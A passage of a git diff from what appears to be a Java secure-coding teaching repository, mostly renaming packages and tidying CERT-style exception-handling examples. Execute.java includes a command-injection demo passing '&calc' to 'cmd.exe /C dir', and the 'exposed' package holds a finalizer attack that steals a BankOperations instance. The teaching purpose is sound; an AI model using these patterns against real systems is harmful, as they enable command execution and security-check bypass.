Seacord +// Copyright (c) 2020 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,17 +20,18 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package ERR03J; +package err03j; class Dimensions { private int l, w, h; private static final int PAD = 2; static public final int MAX_DIM = 12; + @SuppressWarnings("SameParameterValue") private Dimensions(int l, int w, int h) throws VolumeException { // Validate invariants if (l > MAX_DIM - PAD || w > MAX_DIM - PAD || h > MAX_DIM - PAD) { - throw new VolumeException("Volume exceeded in ctor"); //$NON-NLS-1$ + throw new VolumeException("Volume exceeded in constructor"); } this.l = l; this.w = w; @@ -42,7 +43,7 @@ protected int getVolumePackage(int weight) throws WeightException { this.w += PAD; this.h += PAD; if (weight <= 0 || weight > 20) - throw new WeightException("Package overweight"); //$NON-NLS-1$ + throw new WeightException("Package overweight"); int volume = this.l * this.w * this.h; // 12 * 12 * 12 = 1728 this.l -= PAD; this.w -= PAD; @@ -56,13 +57,13 @@ public static void main(String[] args) throws VolumeException { try { System.out.println(d.getVolumePackage(21)); } catch (WeightException e) { - System.out.println(e.getMessage() + ": lighten re-weigh"); //$NON-NLS-1$ + System.out.println(e.getMessage() + ": lighten re-weigh"); } try { System.out.println(d.getVolumePackage(19)); // 2744 instead of 1728 } catch (WeightException e) { - System.out.println(e.getMessage() + ": lighten re-weigh"); //$NON-NLS-1$ + System.out.println(e.getMessage() + ": lighten re-weigh"); } } // end main } // end Class Dimensions diff --git a/JavaSCR/src/main/java/ERR03J/VolumeException.java b/JavaSCR9/src/main/java/err03j/VolumeException.java similarity index 92% rename from JavaSCR/src/main/java/ERR03J/VolumeException.java rename to JavaSCR9/src/main/java/err03j/VolumeException.java index 2d0c7ac..07cb796 100644 --- a/JavaSCR/src/main/java/ERR03J/VolumeException.java +++ b/JavaSCR9/src/main/java/err03j/VolumeException.java @@ -1,4 +1,4 @@ -package ERR03J; +package err03j; public class VolumeException extends Exception { private static final long serialVersionUID = -3743672199596492460L; diff --git a/JavaSCR/src/main/java/ERR03J/WeightException.java b/JavaSCR9/src/main/java/err03j/WeightException.java similarity index 92% rename from JavaSCR/src/main/java/ERR03J/WeightException.java rename to JavaSCR9/src/main/java/err03j/WeightException.java index aa135c4..274d95b 100644 --- a/JavaSCR/src/main/java/ERR03J/WeightException.java +++ b/JavaSCR9/src/main/java/err03j/WeightException.java @@ -1,4 +1,4 @@ -package ERR03J; +package err03j; public class WeightException extends Exception { private static final long serialVersionUID = -3743672199596492460L; diff --git a/JavaSCR/src/main/java/ERR06J/NewInstance.java b/JavaSCR9/src/main/java/err06j/NewInstance.java similarity index 72% rename from JavaSCR/src/main/java/ERR06J/NewInstance.java rename to JavaSCR9/src/main/java/err06j/NewInstance.java index f6d3274..2d66c35 100644 --- a/JavaSCR/src/main/java/ERR06J/NewInstance.java +++ b/JavaSCR9/src/main/java/err06j/NewInstance.java @@ -1,6 +1,6 @@ //The MIT License (MIT) // -//Copyright (c) 2016 Robert C. Seacord +//Copyright (c) 2020 Robert C. Seacord // //Permission is hereby granted, free of charge, to any person obtaining a copy //of this software and associated documentation files (the "Software"), to deal @@ -20,10 +20,9 @@ //OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE //SOFTWARE. -package ERR06J; +package err06j; import java.io.IOException; -import java.lang.reflect.InvocationTargetException; public class NewInstance { private static Throwable throwable; @@ -32,7 +31,7 @@ private NewInstance() throws Throwable { throw throwable; } - private static synchronized void undeclaredThrow(Throwable throwable) throws InvocationTargetException { + private static synchronized void undeclaredThrow(Throwable throwable) { // These exceptions should not be passed if (throwable instanceof IllegalAccessException || throwable instanceof InstantiationException) { // Unchecked, no declaration required @@ -42,8 +41,8 @@ private static synchronized void undeclaredThrow(Throwable throwable) throws Inv NewInstance.throwable = throwable; try { NewInstance.class.newInstance(); - } - catch (InstantiationException | IllegalAccessException | SecurityException e) { + } + catch (ReflectiveOperationException e) { e.printStackTrace(); } finally { // Avoid memory leak NewInstance.throwable = null; @@ -60,12 +59,7 @@ public static void main(String[] args) { try { NewInstance.undeclaredThrow(new IOException("IOException")); } catch (Exception e) { - if (e instanceof IOException) { - System.err.println("IOException occurred"); - e.printStackTrace(); - } else { - e.printStackTrace(); - } + e.printStackTrace(); } } // end main } // end class newInstance @@ -96,11 +90,21 @@ public static void main(String[] args) { -// + NewInstance.class.getConstructor().newInstance(); -// - NewInstance.class.newInstance(); +// private static synchronized void undeclaredThrow(Throwable throwable) { +// // These exceptions should not be passed +// if (throwable instanceof IllegalAccessException || throwable instanceof InstantiationException) { +// // Unchecked, no declaration required +// throw new IllegalArgumentException(); +// } // -// + catch (InstantiationException | IllegalAccessException | NoSuchMethodException | SecurityException e) { -// - catch (InstantiationException | IllegalAccessException | SecurityException e) { - - - +// NewInstance.throwable = throwable; +// try { +// // NewInstance.class.newInstance(); +// NewInstance.class.getDeclaredConstructor().newInstance(); +// } +// catch (ReflectiveOperationException e) { +// e.printStackTrace(); +// } finally { // Avoid memory leak +// NewInstance.throwable = null; +// } +// } diff --git a/JavaSCR/src/main/java/ERR06J/Parser.java b/JavaSCR9/src/main/java/err06j/Parser.java similarity index 87% rename from JavaSCR/src/main/java/ERR06J/Parser.java rename to JavaSCR9/src/main/java/err06j/Parser.java index dff8eeb..fb395fd 100644 --- a/JavaSCR/src/main/java/ERR06J/Parser.java +++ b/JavaSCR9/src/main/java/err06j/Parser.java @@ -1,6 +1,6 @@ //The MIT License (MIT) // -//Copyright (c) 2016 Robert C. Seacord +//Copyright (c) 2020 Robert C. Seacord // //Permission is hereby granted, free of charge, to any person obtaining a copy //of this software and associated documentation files (the "Software"), to deal @@ -20,19 +20,19 @@ //OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE //SOFTWARE. -package ERR06J; +package err06j; import java.awt.AWTException; import java.io.IOException; class Parser { @SuppressWarnings("unchecked") - public void parse(String s) throws T { // OK - throw (T) new AWTException("oopsie"); //$NON-NLS-1$ + public void parse(String s) throws T { + throw (T) new AWTException(s); } public static void main(String[] args) { - String s = "my new string"; //$NON-NLS-1$ + String s = "my new string"; Parser p = new Parser<>(); try { p.parse(s); diff --git a/JavaSCR9/src/main/java/err11j/DAOException.java b/JavaSCR9/src/main/java/err11j/DAOException.java new file mode 100644 index 0000000..53d741d --- /dev/null +++ b/JavaSCR9/src/main/java/err11j/DAOException.java @@ -0,0 +1,78 @@ +// The MIT License (MIT) +// +// Copyright (c) 2020 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package err11j; + +class DAOException extends Exception { + private static final long serialVersionUID = 3502193523257182899L; + + public DAOException(String message) { + super(message); + } +} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +/* +public DAOException(String message, Throwable cause) { + super(message, cause); +} +*/ \ No newline at end of file diff --git a/JavaSCR9/src/main/java/err11j/DatabaseUtils.java b/JavaSCR9/src/main/java/err11j/DatabaseUtils.java new file mode 100644 index 0000000..309cb93 --- /dev/null +++ b/JavaSCR9/src/main/java/err11j/DatabaseUtils.java @@ -0,0 +1,31 @@ +// The MIT License (MIT) +// +// Copyright (c) 2020 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package err11j; + +import java.sql.*; + +class DatabaseUtils { + public static void executeQuery(String sql) throws SQLException { + throw new SQLException("Oopsie!" + sql); + } +} \ No newline at end of file diff --git a/JavaSCR9/src/main/java/err11j/EmployeeDAO.java b/JavaSCR9/src/main/java/err11j/EmployeeDAO.java new file mode 100644 index 0000000..d8776c2 --- /dev/null +++ b/JavaSCR9/src/main/java/err11j/EmployeeDAO.java @@ -0,0 +1,86 @@ +// The MIT License (MIT) +// +// Copyright (c) 2020 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package err11j; + +import java.sql.*; + +class EmployeeDAO { + public static void list() throws DAOException { + try { + DatabaseUtils.executeQuery("SELECT"); + } catch (SQLException ex) { + throw new DAOException("Error querying employee from database " + ex.getMessage()); + } + } +} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +// throw new DAOException("Error querying employee from database", ex); \ No newline at end of file diff --git a/JavaSCR9/src/main/java/err11j/EmployeeException.java b/JavaSCR9/src/main/java/err11j/EmployeeException.java new file mode 100644 index 0000000..e2403a7 --- /dev/null +++ b/JavaSCR9/src/main/java/err11j/EmployeeException.java @@ -0,0 +1,35 @@ +// The MIT License (MIT) +// +// Copyright (c) 2020 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package err11j; + +class EmployeeException extends Exception { + private static final long serialVersionUID = 1426450337125104125L; + + public EmployeeException(String message) { + super(message); + } + + public EmployeeException(String message, Throwable cause) { + super(message, cause); + } +} \ No newline at end of file diff --git a/JavaSCR9/src/main/java/err11j/Employer.java b/JavaSCR9/src/main/java/err11j/Employer.java new file mode 100644 index 0000000..6f557d2 --- /dev/null +++ b/JavaSCR9/src/main/java/err11j/Employer.java @@ -0,0 +1,67 @@ +// The MIT License (MIT) +// +// Copyright (c) 2020 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package err11j; + +class Employer { + + final private EmployeeDAO dao; + + public Employer(EmployeeDAO dao) { + this.dao = dao; + } + + public static void findEmployee(String keyword) throws EmployeeException { + try { + EmployeeDAO.list(); + } catch (DAOException ex) { + throw new EmployeeException("Can't find employee " + keyword); + } + } +} + + + + + + + + + + + + + + + + + + + + + + + + + + +// throw new EmployeeException("Can't find employee", ex); diff --git a/JavaSCR9/src/main/java/err11j/Program.java b/JavaSCR9/src/main/java/err11j/Program.java new file mode 100644 index 0000000..5f38724 --- /dev/null +++ b/JavaSCR9/src/main/java/err11j/Program.java @@ -0,0 +1,36 @@ +// The MIT License (MIT) +// +// Copyright (c) 2020 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package err11j; + +class Program { + public static void main(String[] args) { + EmployeeDAO dao = new EmployeeDAO(); + + try { + Employer.findEmployee("Spiff"); + } + catch (EmployeeException ex) { + ex.printStackTrace(); + } + } +} diff --git a/JavaSCR/src/main/java/err12j/PartOne.java b/JavaSCR9/src/main/java/err12j/PartOne.java similarity index 80% rename from JavaSCR/src/main/java/err12j/PartOne.java rename to JavaSCR9/src/main/java/err12j/PartOne.java index efeee61..e47febe 100644 --- a/JavaSCR/src/main/java/err12j/PartOne.java +++ b/JavaSCR9/src/main/java/err12j/PartOne.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2020 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -25,6 +25,7 @@ import java.io.BufferedWriter; import java.io.IOException; import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; import java.nio.file.CopyOption; import java.nio.file.Files; import java.nio.file.Path; @@ -34,23 +35,23 @@ public final class PartOne implements AutoCloseable { private static final CopyOption[] options = { StandardCopyOption.COPY_ATTRIBUTES }; - private static final Charset charset = Charset.forName("US-ASCII"); + private static final Charset charset = StandardCharsets.US_ASCII; private static final String s = "File ID"; - private final Path filepath; + private final Path file_path; private BufferedWriter writer; public PartOne(Path pathname) throws IOException { - this.filepath = pathname; - this.writer = Files.newBufferedWriter(this.filepath, charset); + this.file_path = pathname; + this.writer = Files.newBufferedWriter(this.file_path, charset); this.writer.write(s, 0, s.length()); this.writer.flush(); } // copy constructor public PartOne(PartOne p1) throws IOException { - this.filepath = Paths.get(p1.filepath + "copy"); - Files.copy(p1.filepath, this.filepath, options); - this.writer = Files.newBufferedWriter(this.filepath, charset); + this.file_path = Paths.get(p1.file_path + "copy"); + Files.copy(p1.file_path, this.file_path, options); + this.writer = Files.newBufferedWriter(this.file_path, charset); } public void setNow(Calendar rightNow) throws IOException { @@ -64,7 +65,7 @@ public void close() throws IOException { this.writer.close(); } finally { this.writer = null; - Files.delete(this.filepath); + Files.delete(this.file_path); } } } diff --git a/JavaSCR/src/main/java/err12j/PartTwo.java b/JavaSCR9/src/main/java/err12j/PartTwo.java similarity index 94% rename from JavaSCR/src/main/java/err12j/PartTwo.java rename to JavaSCR9/src/main/java/err12j/PartTwo.java index 485c73d..e51dcb8 100644 --- a/JavaSCR/src/main/java/err12j/PartTwo.java +++ b/JavaSCR9/src/main/java/err12j/PartTwo.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2017 Robert C. Seacord +// Copyright (c) 2020 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -25,6 +25,7 @@ import java.io.BufferedWriter; import java.io.IOException; import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; import java.nio.file.CopyOption; import java.nio.file.Files; import java.nio.file.Path; @@ -34,7 +35,7 @@ public final class PartTwo implements AutoCloseable { private static final CopyOption[] options = { StandardCopyOption.COPY_ATTRIBUTES }; - private static final Charset charset = Charset.forName("US-ASCII"); + private static final Charset charset = StandardCharsets.US_ASCII; private static final String s = "File ID"; private final Path filepath; private BufferedWriter writer; diff --git a/JavaSCR/src/main/java/err12j/Whole.java b/JavaSCR9/src/main/java/err12j/Whole.java similarity index 95% rename from JavaSCR/src/main/java/err12j/Whole.java rename to JavaSCR9/src/main/java/err12j/Whole.java index be14505..57fac17 100644 --- a/JavaSCR/src/main/java/err12j/Whole.java +++ b/JavaSCR9/src/main/java/err12j/Whole.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2017 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -53,9 +53,11 @@ private PartTwo getp2() { private Whole move(Whole Source) throws IOException { PartOne t1 = new PartOne(Source.getp1()); + //noinspection ConstantConditions if (t1 != null) { // not necessary for copy constructor try { PartTwo t2 = new PartTwo(Source.getp2()); + //noinspection ConstantConditions if (t2 != null) { // not necessary for copy constructor try { // methods that might throw @@ -102,9 +104,9 @@ private Whole move(Whole Source) throws IOException { public static void main(String[] args) { try { Whole a = new Whole(Paths.get("p1"), Paths.get("p2")); - System.out.println(a.toString()); + System.out.println(a); Whole b = a.move(a); - System.out.println(b.toString()); + System.out.println(b); } catch (IOException e) { e.printStackTrace(); diff --git a/JavaSCR/src/main/java/err13j/DefaultUncaughtExceptionHandler.java b/JavaSCR9/src/main/java/err13j/DefaultUncaughtExceptionHandler.java similarity index 98% rename from JavaSCR/src/main/java/err13j/DefaultUncaughtExceptionHandler.java rename to JavaSCR9/src/main/java/err13j/DefaultUncaughtExceptionHandler.java index fc9f53b..9577ac4 100644 --- a/JavaSCR/src/main/java/err13j/DefaultUncaughtExceptionHandler.java +++ b/JavaSCR9/src/main/java/err13j/DefaultUncaughtExceptionHandler.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2017 Robert C. Seacord +// Copyright (c) 2020 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal diff --git a/JavaSCR/src/main/java/ids07j/Execute.java b/JavaSCR9/src/main/java/exec/Execute.java similarity index 91% rename from JavaSCR/src/main/java/ids07j/Execute.java rename to JavaSCR9/src/main/java/exec/Execute.java index d1d7c6d..2df81b9 100644 --- a/JavaSCR/src/main/java/ids07j/Execute.java +++ b/JavaSCR9/src/main/java/exec/Execute.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2025 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,17 +20,18 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package ids07j; +package exec; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.util.Arrays; import java.util.Objects; +import static java.lang.System.lineSeparator; public class Execute { - static void getOutput(Process proc) throws IOException, InterruptedException { + private static void getOutput(Process proc) throws IOException, InterruptedException { int result = proc.waitFor(); if (result != 0) { System.out.println("process error: " + result); @@ -44,10 +45,11 @@ static void getOutput(Process proc) throws IOException, InterruptedException { public static void main(String[] args) throws Exception { Runtime rt = Runtime.getRuntime(); - String nl = System.getProperty("line.separator"); // retrieve line separator dependent on OS. - // See what sort of arguments are passed + String nl = lineSeparator(); // retrieve line separator dependent on OS. + // Examine arguments System.out.println("[rt.exec] PrintArgs Path with Spaces"); - String PrintArgs = "C:\\Users\\rseacord\\source\\repos\\PrintArgs\\Release\\PrintArgs.exe "; + String PrintArgs = "C:\\Users\\RobertSeacord(Wovenb\\source\\repos\\PrintArgs\\x64\\Debug\\PrintArgs.exe "; + // String PrintArgs = "wsl /home/rcs/code/PrintArgs.exe "; System.out.println("PrintArgs.exe argument1 \"argument 2\" \"\\some\\path with\\spaces\""); Process proc = rt.exec(PrintArgs + "argument1 \"argument 2\" \"\\some\\path with\\spaces\""); getOutput(proc); @@ -55,7 +57,6 @@ public static void main(String[] args) throws Exception { System.out.println(nl + "+-----------------------------------------------------+" ); System.out.println(nl + "[rt.exec] PrintArgs Nested Quotes"); - rt = Runtime.getRuntime(); System.out.println("PrintArgs argument1 \"she said, \"you had me at hello\"\" \"\\some\\path with\\spaces\""); proc = rt.exec(PrintArgs + "argument1 \"she said, \"you had me at hello\"\" \"\\some\\path with\\spaces\""); getOutput(proc); @@ -63,7 +64,6 @@ public static void main(String[] args) throws Exception { System.out.println(nl + "+-----------------------------------------------------+" ); System.out.println(nl + "[rt.exec] PrintArgs Unbalanced Quotes"); - rt = Runtime.getRuntime(); System.out.println("PrintArgs argument1 \"argument\"2\" argument3 argument4"); proc = rt.exec(PrintArgs + "argument1 \"argument\"2\" argument3 argument4"); getOutput(proc); @@ -71,7 +71,6 @@ public static void main(String[] args) throws Exception { System.out.println(nl + "+-----------------------------------------------------+" ); System.out.println(nl + "[rt.exec] PrintArgs trailing backslash"); - rt = Runtime.getRuntime(); System.out.println("PrintArgs \"\\some\\directory with\\spaces\\\" argument2"); proc = rt.exec(PrintArgs + "\"\\some\\directory with\\spaces\\\" argument2"); getOutput(proc); @@ -91,7 +90,6 @@ public static void main(String[] args) throws Exception { System.out.println(nl + "[rt.exec] command shell with &calc argument"); System.out.println("cmd.exe /C dir &calc"); String dir = "&calc"; // substituted for System.getProperty("dir"); - rt = Runtime.getRuntime(); System.out.println("cmd.exe /C dir " + dir); proc = rt.exec("cmd.exe /C dir " + dir); int result = proc.waitFor(); diff --git a/JavaSCR/src/main/java/OBJ11J/AttackerApp.java b/JavaSCR9/src/main/java/exposed/AttackerApp.java similarity index 92% rename from JavaSCR/src/main/java/OBJ11J/AttackerApp.java rename to JavaSCR9/src/main/java/exposed/AttackerApp.java index faa0473..59590fa 100644 --- a/JavaSCR/src/main/java/OBJ11J/AttackerApp.java +++ b/JavaSCR9/src/main/java/exposed/AttackerApp.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2016 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,9 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package OBJ11J; +package exposed; + +import java.util.Objects; // Invoke class and gain access to restricted features class AttackerApp { @@ -33,7 +35,7 @@ public static void main(String[] args) { Storage.store(i); // Now invoke any instance method of BankOperations class - i.greet(); + Objects.requireNonNull(i).greet(); UserApp.main(args); // Invoke the original UserApp } diff --git a/JavaSCR/src/main/java/OBJ11J/BankOperations.java b/JavaSCR9/src/main/java/exposed/BankOperations.java similarity index 99% rename from JavaSCR/src/main/java/OBJ11J/BankOperations.java rename to JavaSCR9/src/main/java/exposed/BankOperations.java index 23daa2b..d489367 100644 --- a/JavaSCR/src/main/java/OBJ11J/BankOperations.java +++ b/JavaSCR9/src/main/java/exposed/BankOperations.java @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package OBJ11J; +package exposed; class BankOperations { final private String user; diff --git a/JavaSCR/src/main/java/OBJ11J/Interceptor.java b/JavaSCR9/src/main/java/exposed/Interceptor.java similarity index 89% rename from JavaSCR/src/main/java/OBJ11J/Interceptor.java rename to JavaSCR9/src/main/java/exposed/Interceptor.java index 3ecb9f3..1060f18 100644 --- a/JavaSCR/src/main/java/OBJ11J/Interceptor.java +++ b/JavaSCR9/src/main/java/exposed/Interceptor.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2016 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,10 +20,10 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package OBJ11J; +package exposed; // An attacker can exploit this code by extending the bankOperations class -// and overriding the finalize() method. +// and overriding the finalize method. public class Interceptor extends BankOperations { private static Interceptor stealInstance = null; @@ -41,7 +41,7 @@ public static Interceptor get() { synchronized (Interceptor.class) { while (stealInstance == null) { System.gc(); - Interceptor.class.wait(10); + Interceptor.class.wait(10); // releases the lock on Interceptor.class } } } catch (InterruptedException ex) { @@ -50,8 +50,7 @@ public static Interceptor get() { return stealInstance; } - // attacker's finalizer obtains and stores a reference by using the this - // keyword. + // attacker's finalizer obtains and stores a reference using "this". @Override public void finalize() throws Throwable { super.finalize(); @@ -59,7 +58,7 @@ public void finalize() throws Throwable { stealInstance = this; Interceptor.class.notify(); } - System.out.println("Stole the instance in finalize of " + this); //$NON-NLS-1$ + System.out.println("Stole the instance in finalize of " + this); // The attacker can now maliciously invoke any instance method // on the base class by using the stolen instance reference. This attack // can even bypass a check by a security manager. diff --git a/JavaSCR/src/main/java/OBJ11J/Storage.java b/JavaSCR9/src/main/java/exposed/Storage.java similarity index 96% rename from JavaSCR/src/main/java/OBJ11J/Storage.java rename to JavaSCR9/src/main/java/exposed/Storage.java index 00f3952..90bda47 100644 --- a/JavaSCR/src/main/java/OBJ11J/Storage.java +++ b/JavaSCR9/src/main/java/exposed/Storage.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2016 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package OBJ11J; +package exposed; class Storage { private static BankOperations bop; diff --git a/JavaSCR/src/main/java/OBJ11J/UserApp.java b/JavaSCR9/src/main/java/exposed/UserApp.java similarity index 87% rename from JavaSCR/src/main/java/OBJ11J/UserApp.java rename to JavaSCR9/src/main/java/exposed/UserApp.java index 389b7d3..227fe3c 100644 --- a/JavaSCR/src/main/java/OBJ11J/UserApp.java +++ b/JavaSCR9/src/main/java/exposed/UserApp.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2016 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,18 +20,18 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package OBJ11J; +package exposed; class UserApp { public static void main(String[] args) { BankOperations bo; try { - bo = new BankOperations("Robert"); // step into //$NON-NLS-1$ + bo = new BankOperations("Robert"); // step into } catch (SecurityException ex) { bo = null; } Storage.store(bo); - System.out.println("Proceed with normal 